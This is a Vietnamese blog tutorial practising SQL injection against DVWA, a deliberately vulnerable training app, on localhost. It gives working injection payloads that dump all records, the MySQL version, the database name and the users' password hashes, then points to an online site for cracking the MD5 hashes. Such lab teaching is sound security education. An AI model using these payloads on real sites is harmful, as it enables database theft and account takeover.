Monday , 10 August 2020
Home » Bảo Mật » Thực hành tấn công SQL Injection trên DVWA

Thực hành tấn công SQL Injection trên DVWA

Thực hành tấn công SQL Injection trên DVWA

Trong phần 2: Công cụ Pentest

đã cài đặt chương trình DVWA, phần này thử nghiệm tấn công SQL Injection

Bước 1: Đăng nhập http://localhost/dvwa/login.php và thiết lập chế độ bảo mật Low cho phần mềm với User=admin và password = password

Bước 2: Vào mục SQL Injection (Blind) và tiến hành thử nghiệm

Tại hộp text này nếu chúng ta nhập ID (id=1 tới 5) thì sẽ hiễn thị từng bản ghi trong CSDL vì đã được lập trình với câu lệnh sql truy vấn như sau:

$getid = “SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘”;

sql injection

(hình 1: )

Nhưng giờ ta nhập:

Trường hợp 1:

  1. ·  ID tại text có giá trị:
    • %’ or ‘0’=’0
  2. Nhấn Submit
  • Giải thích
    • Ký tự %’ Có thể là không đúng với CSDL nào
    • ‘0’=’0′ – Biểu thước luôn đúng (sẽ thực hiện vế này)
  • Như vậy câu truy vấn bây giờ sẽ là:
    • mysql> SELECT first_name, last_name FROM users WHERE user_id = ‘%’ or ‘0’=’0′

Vậy sẽ hiển thị tất cả các bản ghi trong CSDL.

sql injection

(hình 2)

Trường hợp 2:

Hiển thị phiên bản CSDL Mysql

  • Nhập tại Text:

%’ or 0=0 union select null, version() #

Và nhấn Submit

  • Giải thích:

Hàm union: ghép chuổi, hàm version() hiển thị phiên bản

    • Dòng cuối cùng của thông tin chính là phiên bản CSDL

version mysql

(hình 3)

Trường hợp 3: Hiển thị tên CSDL

Hiển thị tên CSDL

  • Nhập tại Text:
      • %’ or 0=0 union select null, database() #

Hàm database() hiển thị tên CSDL sẽ được hiển thị ở bản ghi cuối cùng.

sql injection

(hình 4)

 

Trường hợp 4: Hiển thị nội dung các cột của bảng User trong CSDL

  • Nhập:
      • %’ and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #

Và nhấn Submit

sql injection5

(hình 5)

Password trong cột password được hiển thị cùng tên User, vì password thường được mã hóa dưới dạng Md5, nên ta có thể vào các trang web online để giãi mã, ta có thể dùng trang

http://www.md5decrypter.com/

và nhập chuổi md5 và sẽ cho kết quả là password (đúng với tài khoản admin)

md5decrypt

Video:

(kết thúc bài thực hành SQL Injection)

 

 

 

Lượt xem (3424)

About Nguyễn Thanh Sơn

Nguyễn Thanh Sơn
Network Security, Web Design, Computer Science

Xem thêm

CÁC KIẾN THỨC VỀ TẤN CÔNG TỪ CHỐI DỊCH VỤ (DOS/DDOS)

Liệu rằng website của bạn có xử lý được lưu lượng truy cập gia tăng đột …

Để lại bình luận:

Loading Facebook Comments ...

Leave a Reply

Your email address will not be published. Required fields are marked *